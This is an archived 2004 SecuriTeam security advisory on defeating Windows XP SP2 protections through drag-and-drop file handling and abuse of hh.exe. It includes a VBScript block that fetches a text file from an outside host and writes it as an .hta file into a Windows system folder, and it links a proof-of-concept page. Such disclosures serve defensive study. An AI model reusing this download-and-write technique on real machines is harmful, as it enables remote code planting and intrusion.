

[NT] How to Break Windows XP SP2 (Drag and Drop .hta files)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0081.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/25/04

To: list@securiteam.com

Date: 25 Oct 2004 10:39:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

How to Break Windows XP SP2 (Drag and Drop .hta files)

SUMMARY

The following technical exercise demonstrates the elaborate methods required to defeat the current security mechanisms integrated in Windows XP SP2.

DETAILS

Vulnerable Systems:

* Microsoft Windows XP SP2 and Internet Explorer 6.00 SP2 fully patched.

The problem is three-fold:

The SP2 'patch' for Microsoft Windows XP does indeed shut out all active content from the so-called Local Zone. So much so as to, in addition to that aspect, killing off of the ADODB.Stream and Shell.Application ActiveX controls.

The questions then are:

- a) if we can run code in the local zone, what can we run to read, write and delete?
- b) if we can run code that can read, write and delete, how exactly do we run it?

Securiteam: [NT] How to Break Windows XP SP2 (Drag and Drop .hta files)

The Answers Follow:

* The recent 'drag drop' patch crammed into the Internet Explorer '<http://www.securiteam.com/windowsntfocus/6X00G0UBGY.html>> Cumulative Security Update for Internet Explorer (834707)' yields some interesting results.

* Clearly the mechanism to put anything other than the intended MIME type in the src or dynsrc has been bolstered. Almost to the point of being a specific set of file types. One might suspect the capabilities of the newly enriched 'snot nosed' security of Internet Explorer is called into play:

The file types allowed for dragging are only media files:

xml;.doc;.py;.cdf;.css;.pdf;.ppt and few others. Key or 'executable' file types cannot be dragged – for obvious reasons.

The 'trick' is then to emulate these file types. Quite correctly Internet Explorer 'sniffs' the file contents to ensure it's 'safe'. Draggable elements are quite limited. As in meaning only legitimate files assigned can be dragged – media or image.

What we do is inject our html code into the media file, remove the file type (extension) and let the machine do our dirty work first step for us. Dragging our 'trojaned' image file across, containing our arbitrary code, we remove the extension and the machine automatically creates a nice crisp htm file.

Big deal you say. Code cannot be run in the 'Local Zone'. We then take an oddity with our most helpful Help function from the operating system known as hh.exe. By giving this a non-valid or miss-formed 'window' we are able to then point hh.exe to our machine made (inclusive of our arbitrary code) .htm file and execute that within Windows Help. What that means is that this is not a trivial 'showHelp()' rather an actual .chm opening via hh.exe remotely. In technical essence that is. Along with its With pseudo privileges no doubt. Big deal you say. You cannot read / write / delete/ code in the 'Local Zone'. Adodb.Stream is dead. Shell.Application is dead. WScript.Shell has been patched even longer than that. But, we magically craft new code to replace it like so:

```
<script language="vbs">
'http://www.malware.com – 19.10.04
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;" & _
"Extensions=asc, csv, tab, txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML
rs.close
```

Securiteam: [NT] How to Break Windows XP SP2 (Drag and Drop .hta files)

```
conn.close  
</script>
```

Simply put, that is perhaps the last remaining 'piece of code' that can write arbitrary content to an arbitrary file name in an arbitrary location.

All it is doing is pulling from malware.com, the contents of a miserable text file, then writing that content to an .hta file in the location we tell it to. On the local machine.

Proof of Concept Code:

Working Diluted Manual Demo (go make your own fireworks!):

<<http://www.malware.com/noceegar.html>>

<http://www.malware.com/noceegar.html>

ADDITIONAL INFORMATION

The information has been provided by <mailto:1@malware.com> http-equiv.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.